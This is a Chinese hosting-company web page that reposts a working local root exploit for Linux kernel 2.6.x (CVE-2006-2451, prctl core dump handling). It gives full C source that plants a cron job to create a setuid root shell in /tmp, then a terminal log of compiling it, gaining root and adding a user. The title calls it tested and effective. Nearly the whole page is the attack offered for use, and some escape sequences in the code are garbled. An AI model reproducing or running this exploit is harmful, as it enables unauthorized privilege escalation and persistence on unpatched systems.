快速业务通道

Linux Kernel 2.6x 本地溢出代码 今天测试了一下,效果不错

作者 佚名技术 来源 Linux系统 浏览 发布时间 2012-04-21

  1. /*****************************************************/
  2. /* Local r00t Exploit for: */
  3. /* Linux Kernel PRCTL Core Dump Handling */
  4. /* ( BID 18874 / CVE-2006-2451 ) */
  5. /* Kernel 2.6.x (>= 2.6.13 && < 2.6.17.4) */
  6. /* By: */
  7. /* - dreyer <luna@aditel.org> (main PoC code) */
  8. /* - RoMaNSoFt <roman@rs-labs.com> (local root code) */
  9. /* [ 10.Jul.2006 ] */
  10. /*****************************************************/
  11. #include <stdio.h>
  12. #include <sys/time.h>
  13. #include <sys/resource.h>
  14. #include <unistd.h>
  15. #include <linux/prctl.h>
  16. #include <stdlib.h>
  17. #include <sys/types.h>
  18. #include <signal.h>
  19. char *payload="nSHELL=/bin/shnPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/binn* * * * * root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/coren";
  20. int main() {
  21. int child;
  22. struct rlimit corelimit;
  23. printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00tn");
  24. printf("By: dreyer & RoMaNSoFtn");
  25. printf("[ 10.Jul.2006 ]nn");
  26. corelimit.rlim_cur = RLIM_INFINITY;
  27. corelimit.rlim_max = RLIM_INFINITY;
  28. setrlimit(RLIMIT_CORE, &corelimit);
  29. printf("[*] Creating Cron entryn");
  30. if ( !( child = fork() )) {
  31. chdir("/etc/cron.d");
  32. prctl(PR_SET_DUMPABLE, 2);
  33. sleep(200);
  34. exit(1);
  35. }
  36. kill(child, SIGSEGV);
  37. printf("[*] Sleeping for aprox. one minute (** please wait **)n");
  38. sleep(62);
  39. printf("[*] Running shell (remember to remove /tmp/sh when finished) n");
  40. system("/tmp/sh -p");
  41. }

运行测试:

[fred@fedora ~]$ uname -a
Linux fedora 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 i686 i686 i386 GNU/Linux
[fred@fedora ~]$ id
uid=500(fred) gid=500(fred) groups=500(fred)
[fred@fedora ~]$ ls
amsn_received Desktop linux.bin pics rs_prctl_kernel.c vmware
[fred@fedora ~]$ gcc -o rs_prctl_kernel rs_prctl_kernel.c
[fred@fedora ~]$ ls
amsn_received Desktop linux.bin pics rs_prctl_kernel rs_prctl_kernel.c vmware
[fred@fedora ~]$ ./rs_prctl_kernel
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

Creating Cron entry

Sleeping for aprox. one minute (** please wait **)

Running shell (remember to remove /tmp/sh when finished) ...
sh-3.1# whoami
root
sh-3.1# id
uid=500(fred) gid=500(fred) euid=0(root) groups=500(fred)
sh-3.1# /usr/sbin/useradd test
sh-3.1# exit
exit

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号